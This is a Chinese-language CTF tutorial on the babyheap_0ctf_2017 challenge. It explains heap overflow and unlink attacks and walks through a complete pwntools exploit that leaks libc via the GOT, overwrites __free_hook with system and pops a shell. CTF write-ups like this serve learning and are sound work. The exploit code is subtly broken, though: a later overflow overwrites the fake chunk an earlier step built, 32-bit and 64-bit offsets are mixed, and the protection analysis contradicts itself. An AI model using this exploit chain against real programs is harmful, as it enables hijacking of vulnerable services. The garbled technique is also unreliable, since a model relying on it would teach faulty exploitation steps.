从CTF赛题babyheap_0ctf_2017剖析堆溢出与Unlink攻击原理

1. 从一道经典赛题看堆溢出漏洞的攻防本质

如果你刚开始接触CTF中的PWN方向,尤其是堆利用,那么 babyheap_0ctf_2017 这道题绝对是一个绕不开的里程碑。它不像一些简单的栈溢出题目那样直白,也不涉及过于复杂的堆风水技巧,而是恰到好处地展示了堆溢出漏洞最核心的破坏力—— 通过改写堆块的管理元数据,最终劫持程序控制流 。这道题之所以经典,是因为它剥离了繁杂的干扰,将攻击者的目光精准地引向了 malloc free 这两个最基础函数背后的复杂世界。我们今天要做的,就是亲手揭开这层帷幕,看看一个看似简单的“越界写”漏洞,如何一步步演变成夺取shell的利器。

很多新手在初次面对堆题目时会有一种无力感,面对一堆 malloc free 调用不知从何下手。这很正常,因为堆利用的本质是对 glibc 内存管理器的“规则”进行攻击。你需要先理解它的规则(如 ptmalloc2 的bin机制、chunk结构),然后找到程序违反规则的地方(漏洞点),最后精心构造输入,让程序在遵循错误数据时,帮你完成攻击。 babyheap_0ctf_2017 就是一个完美的教学样本:程序逻辑清晰,漏洞点明显,利用链完整。通过它,你将掌握堆利用中最基础也最关键的技巧之一—— unlink 攻击。我会带你从零开始,分析程序、定位漏洞、设计利用思路,并给出每一行EXP代码的详细解释,确保你能看懂、能复现、更能理解背后的原理。

2. 程序逻辑分析与漏洞定位

首先,我们需要知道程序在做什么。通常,我们会用 checksec 查看保护机制,用反汇编工具(如 IDA Pro Ghidra )分析逻辑。

2.1 安全机制与功能菜单

checksec 检查,大概率会发现只开启了 NX (栈不可执行)和 ASLR (地址空间布局随机化)。没有 Canary PIE ,这意味着栈溢出不好利用,但堆上的地址(如 libc 的基址)是随机的,我们需要想办法泄露。

IDA 打开程序,可以看到一个典型的菜单式逻辑:

1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

这对应一个简单的堆管理器:

  • Allocate : 调用 malloc 申请指定大小的堆块。程序会用一个全局数组记录每个堆块的指针和大小,索引从0开始。
  • Fill : 根据索引,向已分配的堆块中填充数据。 这里就是漏洞所在
  • Free : 根据索引,调用 free 释放堆块,并将指针置零,防止了 Use-After-Free
  • Dump : 根据索引,打印堆块中的内容。这是我们 泄露地址信息 的关键。

程序的漏洞点非常清晰:在 Fill 函数中,它读取用户输入的长度,然后向对应堆块写入数据, 但没有检查输入长度是否小于或等于堆块当初申请的大小 。这就导致了堆溢出。

2.2 关键数据结构与堆布局规划

为了利用,我们必须理解程序如何管理堆块。通常,它会有一个结构体数组,比如:

struct heap_chunk {
    char *ptr;
    size_t size;
} chunks[16];

Allocate 时, ptr = malloc(size) ,并记录 size Fill 时,使用 read(0, chunks[idx].ptr, user_input_size) ,这里的 user_input_size 是我们可控的,可以大于 chunks[idx].size

假设我们申请了三个堆块:

  • Chunk 0: 大小 0x80
  • Chunk 1: 大小 0x80
  • Chunk 2: 大小 0x80

在内存中,它们可能是连续排列的(取决于当时堆的布局)。我们的目标是利用Chunk 0的溢出,去覆盖与Chunk 1相关的关键数据。

注意 :现代 glibc malloc 实现中, size 字段位于chunk头,而用户使用的指针 ptr 指向的是chunk的数据区。一个 malloc(0x80) 得到的chunk,其实际大小(含元数据)是 0x90 (0x80用户区 + 0x10 chunk头)。chunk头包含前一个chunk的大小( prev_size )和当前chunk的大小及标志位( size )。 free 操作会检查这些元数据的合法性。

3. 利用思路:Unlink攻击详解

面对堆溢出,一个经典的利用手法是 unlink unlink glibc 在合并空闲堆块时的一个宏操作,它会将某个空闲块从其所在的双向链表(如 small bin unsorted bin )中摘除。如果我们可以伪造一个空闲块,并诱使 glibc 对其执行 unlink ,就能实现一次任意地址写。

3.1 Unlink宏的传统利用原理

在旧版本 glibc (约2.26之前)中, unlink 宏类似如下:

#define unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK; // *(P->fd + 12) = P->bk
    BK->fd = FD; // *(P->bk + 8) = P->fd
}

其中 P 指向要脱链的假chunk。如果我们能控制 P->fd P->bk 的值,就能向 *(P->fd + 12) *(P->bk + 8) 写入任意数据。这被称为“ unlink 写”。

攻击通常分几步:

  1. 布局堆块 :申请多个相邻堆块(如A, B, C)。
  2. 溢出伪造 :利用A的溢出,覆盖B的chunk头,将B伪造成一个“已释放”状态的空闲块。同时,在B的用户数据区(即我们可控的区域)提前布置好伪造的 fd bk 指针。
  3. 触发Unlink :释放B后面的一个块C(或通过其他操作),使得堆管理器尝试向前或向后合并,对伪造的B执行 unlink 操作。
  4. 实现写 :通过精心构造的 fd bk ,让 unlink 操作改写全局数组( chunks )中某个堆块指针的值,例如将其改为指向 全局数组本身
  5. 任意读写 :由于堆块指针被改成了我们可控的地址(全局数组),后续通过 Fill Dump 操作这个索引,就能实现对任意地址的读或写。

3.2 本题利用链设计

在本程序中,全局数组 chunks 是一个非常好的目标。因为它存储着所有堆块的指针,改写它就能控制程序认为的“堆块”地址。

具体到本题,一个常见的利用链如下:

  1. 申请四个小堆块 :目的是构造连续的堆布局,并为伪造创造空间。例如,申请 chunk 0 (0x80), chunk 1 (0x80), chunk 2 (0x80), chunk 3 (0x80),以及一个防止与 top chunk 合并的屏障块 chunk 4 (0x80)。
  2. 在Chunk 1中布置伪造的chunk结构 :我们需要在 chunk 1 的用户数据区,提前写好一个伪造的、小尺寸的“空闲chunk”的数据,包括它的 size fd bk
  3. 利用Chunk 0溢出覆盖Chunk 1的头 :通过 Fill chunk 0 ,溢出修改 chunk 1 的chunk头。关键是将 chunk 1 size 改小(例如改为0x90),并将其 PREV_INUSE 位清零,这会让 glibc 认为 chunk 1 前面的一个chunk(即我们伪造在 chunk 0 区域的那个)是空闲的。 同时,需要将 chunk 1 prev_size 字段设置为一个值,使得 prev_size + chunk 1的地址 正好指向我们之前在 chunk 0 区域布置的伪造chunk。
  4. 释放Chunk 1以触发Unlink :当我们 free(chunk 1) 时, glibc 会检查它前面的chunk是否空闲(根据 PREV_INUSE 位)。发现是“空闲”后,它会尝试将前一个假chunk和 chunk 1 合并。合并的第一步,就是将那个假chunk从它所在的链表中 unlink 出来。这时, unlink 操作会按照我们预设的 fd bk 进行写操作。
  5. 将全局数组指针改写为指向自身 :我们将伪造chunk的 fd bk 设置为指向全局数组 chunks 附近的某个值。经过 unlink 计算后,最终效果是将 chunks 数组中某个条目(例如 chunk 0 的指针)改写为 &chunks[0] - 0x18 之类的值。这样,程序就认为 chunk 0 的指针指向了 chunks 数组内部。
  6. 通过被篡改的指针实现任意读写 :现在,对 chunk 0 进行 Fill 操作,实际上是在向 chunks 数组里写数据。我们可以借此覆盖其他 chunk 的指针,比如将 chunk 1 的指针覆盖为 free@got free 函数在GOT表中的地址)。
  7. 泄露Libc地址 :用 Dump 功能去读 chunk 1 (现在指向 free@got ),就能得到 free 函数在内存中的实际地址,从而计算出 libc 的基址。
  8. 劫持控制流 :知道了 libc 基址,就能算出 system 等函数的地址。再次利用 Fill chunk 0 ,将 chunk 1 的指针覆盖为 __malloc_hook __free_hook 的地址(这是 libc 中的函数指针,调用 malloc/free 时会触发),并将其内容写为 system 的地址。
  9. 获取Shell :最后,释放一个内容为 /bin/sh\x00 的堆块(或通过其他方式触发 free ),实际上就会调用 system("/bin/sh") ,从而拿到shell。

4. 完整EXP分步实现与原理剖析

下面,我们结合一份典型的EXP代码,一步步拆解实现细节。假设你的环境是 Ubuntu 16.04 18.04 ,对应 glibc 2.23 2.27 ,这是 unlink 攻击最适用的版本。

4.1 步骤一:建立连接与基础函数封装

首先,我们需要用 pwntools 与程序交互,并封装好四个功能函数。

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
# p = process('./babyheap_0ctf_2017')
p = remote('node4.buuoj.cn', 12345) # 根据实际题目修改

def alloc(size):
    p.sendlineafter('Command: ', '1')
    p.sendlineafter('Size: ', str(size))

def fill(idx, size, content):
    p.sendlineafter('Command: ', '2')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Content: ', content)

def free(idx):
    p.sendlineafter('Command: ', '3')
    p.sendlineafter('Index: ', str(idx))

def dump(idx):
    p.sendlineafter('Command: ', '4')
    p.sendlineafter('Index: ', str(idx))
    p.recvuntil('Content: \n')
    return p.recvline()[:-1] # 去掉换行符

实操心得 :在写EXP时,务必使用 p.sendlineafter() p.recvuntil() 来稳定交互,避免因网络延迟或程序输出缓冲导致的数据错位。将 log_level 设为 'debug' 可以在开发时看到所有收发数据,方便调试。

4.2 步骤二:堆块布局与伪造

我们按计划申请堆块。大小选择0x80是为了进入 small bin 范围,方便后续利用。

# 1. 布局堆块
alloc(0x80) # chunk 0
alloc(0x80) # chunk 1
alloc(0x80) # chunk 2
alloc(0x80) # chunk 3
alloc(0x80) # chunk 4 作为屏障,防止与top chunk合并

现在,我们需要在 chunk 1 内部伪造一个小的空闲chunk结构。为什么在 chunk 1 内部?因为后续我们要通过溢出修改 chunk 1 的头,让它“认为”前面有一个空闲块,而这个“前面”的块就落在 chunk 0 的区域内。我们需要在 chunk 0 的末尾布置这个假chunk的数据。

首先,填充 chunk 0 ,在其末尾布置假chunk:

# 2. 在chunk 0末尾布置伪造的chunk (fake_chunk)
# fake_chunk的size需要是0x90(0x80用户区+0x10头),并设置PREV_INUSE为0(表示前一个chunk空闲是假的,其实不存在)
# 但注意,这个size是给“前一个chunk”用的,我们暂时不管,重点是把fd和bk写好。
# 我们先填充chunk 0的大部分内容为垃圾数据,只在最后0x10字节布置fd和bk。
payload = b'A' * (0x80) # 填满chunk 0的用户区
payload += p64(0) + p64(0x81) # 假chunk的prev_size和size。size=0x81表示大小0x80,且PREV_INUSE=1(这个假chunk本身标记为已分配,避免被合并)
# 关键:伪造的fd和bk指针。我们的目标是让unlink写修改chunks数组。
# 假设chunks数组的地址是0x6020c0(需要用gdb调试获取),我们想让chunk 0的指针被改为指向chunks数组自身。
# 在unlink时,会执行:*(fd + 12) = bk, *(bk + 8) = fd。
# 如果我们设置 fd = &chunks[0] - 0x18, bk = &chunks[0] - 0x10
# 那么 *(fd+12) = *(&chunks[0]-0x18+12) = *(&chunks[0]-0xc) ≈ 写入bk
# 计算有点绕,一个经典公式是:fd = target_addr - 0x18, bk = target_addr - 0x10
# 这样unlink后,target_addr处会被写入target_addr自身。
# 我们的target_addr就是chunks数组中chunk 0指针的位置,即&chunk0_ptr。
# 我们需要先泄露或推断出chunks数组的地址。通常,全局变量在.bss段,其与libc的偏移是固定的,或者可以通过堆地址与.bss段的偏移推算。
# 这里假设我们通过gdb调试已知:chunks数组地址 = 0x6020c0
chunks_array_addr = 0x6020c0
target = chunks_array_addr + 0x10 # 指向chunks[0]的指针?需要仔细计算。通常chunks[0]指针在0x6020c0。
# 更精确的做法:在gdb中查看,chunks是一个结构体数组,每个元素8字节指针+8字节大小。
# 所以&chunks[0].ptr = 0x6020c0, &chunks[0].size = 0x6020c8。
# 我们想改写的是chunks[0].ptr。所以target = &chunks[0].ptr = 0x6020c0。
target = chunks_array_addr
fd = target - 0x18
bk = target - 0x10
payload += p64(fd) + p64(bk) # 假chunk的fd和bk
# 再填充一些数据,确保假chunk的“下一个chunk”的prev_size字段正确(防止安全检查)
payload += b'B' * (0x80 - 0x10) # 填充到chunk 0的结束
# 注意:以上payload长度已经超过了chunk 0的0x80大小,这正是我们要的溢出效果。
fill(0, len(payload), payload)

注意事项 :计算 fd bk unlink 攻击中最容易出错的一步。不同版本的 glibc 和不同的目标地址,偏移可能不同。务必使用 gdb 动态调试,在触发 unlink 前查看内存,确认伪造的chunk数据是否正确,以及 fd bk 指向的地址是否可写。一个常见的检查是 glibc unlink 宏中会对 chunk size 和相邻chunk的 prev_size 做验证,需要保证伪造的size和下一个chunk的 prev_size 匹配。

4.3 步骤三:溢出修改Chunk头并触发Unlink

现在,我们需要修改 chunk 1 的chunk头,使其 prev_inuse 位为0,并设置正确的 prev_size ,指向我们在 chunk 0 末尾伪造的那个chunk。

# 3. 溢出修改chunk 1的chunk头
# chunk 1的真实地址 = chunk 0的地址 + 0x90 (chunk 0总大小)
# 我们在chunk 0末尾伪造的chunk,其地址应该是 chunk 1的地址 - 0x90
# 所以 prev_size = 0x90
prev_size = 0x90
# chunk 1原本的大小是0x90(0x80用户区+0x10头),我们将其PREV_INUSE位清零,即 size = 0x90
# 注意:size字段的低3位是标志位,其中最低位是PREV_INUSE。0x90的二进制是10010000,最低位是0,符合要求。
size = 0x90
# 构造覆盖payload
overwrite_payload = b'C' * (0x80) # 填满chunk 0的用户区(这已经是第二次写了,会覆盖之前的数据,但没关系)
overwrite_payload += p64(prev_size) + p64(size) # 覆盖chunk 1的prev_size和size字段
fill(0, len(overwrite_payload), overwrite_payload)

接下来,释放 chunk 1 ,触发 unlink 合并操作。

# 4. 释放chunk 1,触发unlink
free(1)

如果一切顺利, unlink 宏会执行,将 chunks[0].ptr 修改为 target - 0x18 ,即 0x6020c0 - 0x18 = 0x6020a8 。现在,程序认为 chunk 0 的指针指向地址 0x6020a8 ,而这个地址位于 chunks 数组内部( chunks 数组从 0x6020c0 开始, 0x6020a8 在其前方不远处)。

4.4 步骤四:利用被篡改的指针实现任意读写

现在,我们对 chunk 0 进行 Fill 操作,写入的数据会写到 0x6020a8 这个地址开始的地方。我们可以精心构造数据,来覆盖 chunks 数组中其他项的内容。

# 5. 通过chunk 0覆盖chunks数组,将chunk 1的指针改为free@got地址
# 首先,需要知道free@got的地址。可以通过ELF文件获取。
elf = ELF('./babyheap_0ctf_2017')
free_got = elf.got['free']
# 我们需要计算从0x6020a8到chunks[1].ptr的偏移。
# chunks[0].ptr 在 0x6020c0
# 我们写入的地址是 0x6020a8
# chunks[1].ptr 在 0x6020c0 + 0x10 = 0x6020d0 (因为每个结构体16字节)
# 所以偏移 = 0x6020d0 - 0x6020a8 = 0x28
offset_to_chunk1_ptr = 0x28
payload = b'D' * offset_to_chunk1_ptr + p64(free_got)
fill(0, len(payload), payload)

现在, chunks[1].ptr 指向了 free 函数在GOT表中的地址。我们可以用 Dump 功能读取它,从而泄露 libc 地址。

# 6. 泄露libc基址
free_addr = u64(dump(1).ljust(8, b'\x00'))
log.success('free address: ' + hex(free_addr))
# 根据使用的libc版本,计算基址。假设是libc-2.23.so, free偏移为0x0000000000084f00
libc_base = free_addr - 0x84f00
system_addr = libc_base + 0x0000000000045390 # system偏移
log.success('libc base: ' + hex(libc_base))
log.success('system address: ' + hex(system_addr))

常见问题 :泄露出的地址可能最后两位是 \x00 u64 转换会失败。务必用 .ljust(8, b'\x00') 填充到8字节。另外,libc版本至关重要。在远程攻击时,需要根据题目提供的环境或常见版本(如 libc-2.23.so )来确定偏移。如果偏移不对,计算出的 system 地址会是错的。

4.5 步骤五:劫持Free Hook获取Shell

有了 libc 地址,我们可以将 __free_hook (或 __malloc_hook )的内容覆盖为 system 地址。 __free_hook 是一个函数指针,当 free 被调用时,如果 __free_hook 非空,就会跳转到它指向的地址执行。

# 7. 将chunk 1的指针改为__free_hook地址
free_hook_addr = libc_base + 0x00000000003c67a8 # __free_hook偏移,根据libc版本定
payload2 = b'D' * offset_to_chunk1_ptr + p64(free_hook_addr)
fill(0, len(payload2), payload2)

# 8. 向__free_hook写入system地址
fill(1, 8, p64(system_addr))

最后,我们只需要释放一个内容为 /bin/sh 的堆块,就能触发 system("/bin/sh") 。我们可以用之前申请的 chunk 2 来存放 /bin/sh

# 9. 在chunk 2中写入/bin/sh
fill(2, 8, b'/bin/sh\x00')

# 10. 释放chunk 2,触发system("/bin/sh")
free(2)

p.interactive()

5. 调试技巧与常见问题排查

即使有了EXP,一次成功也并非易事。堆利用高度依赖于内存布局和版本差异,调试至关重要。

5.1 使用GDB进行动态调试

  1. 启动调试 gdb ./babyheap_0ctf_2017 ,在 main 函数或菜单函数处下断点。
  2. 查看堆布局 :使用 pwndbg gef 插件的 heap 命令非常方便。例如,在每次 alloc free 后使用 heap bins 查看空闲链表,使用 heap chunks 查看所有chunk的状态。
  3. 关键断点 :在 fill 函数读入数据后、 free 函数内部(如 _int_free )设置断点,观察内存变化。特别是触发 unlink 前,检查伪造chunk的 size fd bk 以及下一个chunk的 prev_size 是否正确。
  4. 检查写入地址 :在 fill 覆盖 chunks 数组后,用 x/gx 0x6020c0 等命令查看指针是否被正确修改。

5.2 常见错误与解决方案

问题现象 可能原因 解决方案
free 时直接崩溃( SIGSEGV 伪造的chunk元数据不合法, unlink 时访问了不可读写的地址(如 fd / bk 指向非法地址)。 用gdb检查 free 前伪造chunk的内存内容,确保 fd bk 指向可写区域(如.bss段)。确保 size 与下一个chunk的 prev_size 匹配。
unlink 后程序未崩溃,但后续 fill dump 出错 unlink 写操作修改的地址不正确,导致 chunks 数组指针错乱。 重新计算 target fd bk 的偏移。确认 chunks 数组的准确地址。使用 pwntools elf.symbols elf.got 获取更可靠的地址。
泄露出的 libc 地址看起来不对(如最高位不是 0x7f 1. 泄露时接收数据不完整或错位。
2. 使用的 libc 版本偏移不对。
1. 检查 dump 函数的实现,确保接收了足够字节并用 u64 正确解析。
2. 尝试使用题目提供的 libc.so ,或用 LibcSearcher 等工具根据泄露的地址匹配版本。
最终 free(/bin/sh) 没有弹出shell 1. __free_hook system 地址写错。
2. __free_hook 所在页面不可写(极罕见)。
3. system 参数不正确(不是 /bin/sh 字符串指针)。
1. 用gdb在 free 前检查 __free_hook 处的值是否为 system 地址。
2. 检查 /bin/sh 字符串是否确实写入了目标chunk,且其地址作为参数传递给 free (即 free 的参数是该chunk的用户区指针)。

5.3 关于Libc版本与偏移

这是远程攻击最大的变数。本地调试用的 libc 和远程服务器可能不同。

  • 确定偏移 :如果题目提供了 libc.so 文件,用 readelf -s libc.so.6 | grep free grep system grep __free_hook 来查找偏移。
  • 工具辅助 :使用 pwntools DynELF 模块进行动态解析,或使用 LibcSearcher 库,根据泄露的一个函数地址来搜索匹配的 libc 版本。
  • 多版本适配 :在EXP中可以将常见的 libc-2.23.so libc-2.27.so 的偏移做成字典,根据泄露地址的特征自动选择。

6. 从这道题延伸的堆利用学习路径

babyheap_0ctf_2017 unlink 利用是堆世界的“Hello World”。掌握它之后,你应该继续深入:

  1. 理解 glibc malloc 源码 :这是根本。了解 ptmalloc2 如何管理 fastbin small bin large bin unsorted bin ,理解 malloc_consolidate unlink house of 系列攻击的原理。
  2. 学习更多利用技巧
    • Fastbin Attack :利用 fastbin 的单链表特性,实现任意地址分配。
    • Unsorted Bin Attack :利用 unsorted bin 的链表操作,实现向任意地址写入一个大数。
    • Tcache Poisoning glibc 2.26+ ):针对更新版本的 tcache 机制,其安全性更弱,利用起来往往更简单。
    • House of系列 :如 House of Einherjar House of Orange House of Rabbit 等,针对特殊场景的复杂利用。
  3. 掌握现代缓解机制 :如 glibc 2.32 引入的 safe-linking 对单链表指针的异或加密,需要相应的解密操作才能成功攻击。
  4. 工具链熟练度 :精通 gdb / pwndbg / gef 调试,熟练使用 pwntools 编写EXP,了解 angr z3 等符号执行工具在复杂约束求解中的应用。

堆漏洞利用就像在内存的迷宫中按照既定规则搭建多米诺骨牌,需要精确的计算、耐心的调试和对底层机制的深刻理解。每一次成功的 exploit ,都是对计算机系统理解的一次升华。从这道题开始,耐心搭建你的第一副骨牌吧。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值